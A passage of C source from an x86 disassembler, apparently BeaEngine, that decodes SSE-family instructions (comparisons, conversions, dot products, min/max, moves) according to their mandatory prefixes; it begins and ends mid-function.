        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "blendvps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f c2
// ====================================================================
void __stdcall cmpps_VW(PDISASM pMyDisasm)
{

    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmppd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    (*pMyDisasm).Argument1.AccessMode = READ;
    EIP_++;
    if (!Security(0)) return;
    third_arg = 1;
    (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
    (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
    (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument3.ArgSize = 8;
    ImmediatSize = 8;
}


// ====================================================================
//      0x 0f 38 f0
// ====================================================================
void __stdcall crc32_GvEb(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION + ACCELERATOR_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "crc32 ");
        GvEb(pMyDisasm);
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// ====================================================================
//      0x 0f 38 f1
// ====================================================================
void __stdcall crc32_GvEv(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION + ACCELERATOR_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "crc32 ");
        GvEv(pMyDisasm);
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 2f
// ====================================================================
void __stdcall comiss_VW(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "comisd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "comiss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}

// ====================================================================
//      0x 0f 5a
// ====================================================================
void __stdcall cvtps2pd_(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtsd2ss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtss2sd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpd2ps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtps2pd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 5b
// ====================================================================
void __stdcall cvtdq2ps_(PDISASM pMyDisasm)
{
    // ========== 0xf3
    if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttps2dq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtps2dq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtdq2ps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 2a
// ====================================================================
void __stdcall cvtpi2ps_(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtsi2sd ");
        if (REX.W_ == 1) {
            OpSize = 104;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    // ========== 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtsi2ss ");
        if (REX.W_ == 1) {
            OpSize = 104;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 1;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            SSE_ = 0;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpi2pd ");
        OpSize = 104;
        MMX_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        MMX_ = 0;
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        SSE_ = 0;
        EIP_+= DECALAGE_EIP + 2;
    }
    else {
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpi2ps ");
        OpSize = 104;
        MMX_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        MMX_ = 0;
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        SSE_ = 0;
        EIP_+= DECALAGE_EIP + 2;
    }
}


// ====================================================================
//      0x 0f 2d
// ====================================================================
void __stdcall cvtps2pi_(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtsd2si ");
        if (REX.W_ == 1) {
            OpSize = 104;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 0;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 104;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 0;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    // ========== 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtss2si ");
        if (REX.W_ == 1) {
            OpSize = 103;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 0;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 103;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 0;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpd2pi ");
        OpSize = 108;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        MMX_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        MMX_ = 0;
        EIP_+= DECALAGE_EIP + 2;
    }
    else {
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtps2pi ");
        OpSize = 108;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        MMX_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        MMX_ = 0;
        EIP_+= DECALAGE_EIP + 2;
    }
}


// ====================================================================
//      0x 0f 2c
// ====================================================================
void __stdcall cvttps2pi_(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttsd2si ");
        if (REX.W_ == 1) {
            OpSize = 104;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 0;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 104;
            SSE_ = 1;
            MOD_RM(&(*pMyDisasm).Argument2);
            SSE_ = 0;
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    // ========== 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttss2si ");
        OpSize = 103;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_+= DECALAGE_EIP + 2;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttpd2pi ");
        OpSize = 108;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        MMX_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        MMX_ = 0;
        EIP_+= DECALAGE_EIP + 2;
    }
    else {
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttps2pi ");
        OpSize = 108;
        SSE_ = 1;
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        MMX_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        MMX_ = 0;
        EIP_+= DECALAGE_EIP + 2;
    }
}


// ====================================================================
//      0x 0f e6
// ====================================================================
void __stdcall cvtpd2dq_(PDISASM pMyDisasm)
{
    // ========== 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtpd2dq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvtdq2pd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CONVERSION_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttpd2dq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 3a 41
// ====================================================================
void __stdcall dppd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + DOT_PRODUCT;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dppd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}

// ====================================================================
//      0x 0f 3a 40
// ====================================================================
void __stdcall dpps_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + DOT_PRODUCT;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dpps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 5e
// ====================================================================
void __stdcall divps_VW(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "divsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "divss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "divpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "divps ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 3a 17
// ====================================================================
void __stdcall extractps_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 3;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + INSERTION_EXTRACTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "extractps ");
        MOD_RM(&(*pMyDisasm).Argument1);
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument2);
        SSE_ = 0;
        EIP_+= DECALAGE_EIP + 2;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 7c
// ====================================================================
void __stdcall haddpd_VW(PDISASM pMyDisasm)
{

    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + SIMD_FP_HORIZONTAL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "haddpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + SIMD_FP_HORIZONTAL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "haddps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 7d
// ====================================================================
void __stdcall hsubpd_VW(PDISASM pMyDisasm)
{

    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + SIMD_FP_HORIZONTAL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "hsubpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + SIMD_FP_HORIZONTAL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "hsubps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 3a 21
// ====================================================================
void __stdcall insertps_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + INSERTION_EXTRACTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "insertps ");
        MOD_RM(&(*pMyDisasm).Argument2);
        if (MOD_ == 0x3) {
            OpSize = 104;
        }
        else {
            OpSize = 103;
        }
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        SSE_ = 0;
        EIP_+= DECALAGE_EIP + 2;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;

    }
    else {
        FailDecode(pMyDisasm);
    }

}



// ====================================================================
//      0x 0f f0
// ====================================================================
void __stdcall lddqu_(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + SPECIALIZED_128bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lddqu ");
        MOD_RM(&(*pMyDisasm).Argument2);
        SSE_ = 1;
        Reg_Opcode(&(*pMyDisasm).Argument1);
        SSE_ = 0;
        EIP_+= DECALAGE_EIP + 2;
    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f f7
// ====================================================================
void __stdcall maskmovq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maskmovdqu ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + CACHEABILITY_CONTROL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maskmovq ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 5f
// ====================================================================
void __stdcall maxps_VW(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maxsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maxss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maxpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maxps ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 5d
// ====================================================================
void __stdcall minps_VW(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "minsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "minss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "minpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "minps ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 28
// ====================================================================
void __stdcall movaps_VW(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movapd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movaps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}

// ====================================================================
//      0x 0f 29
// ====================================================================
void __stdcall movaps_WV(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movapd ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movaps ");
        SSE_ = 1;
        ExGx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 16
// ====================================================================
void __stdcall movhps_VM(PDISASM pMyDisasm)
{

    // ========= 0xf3
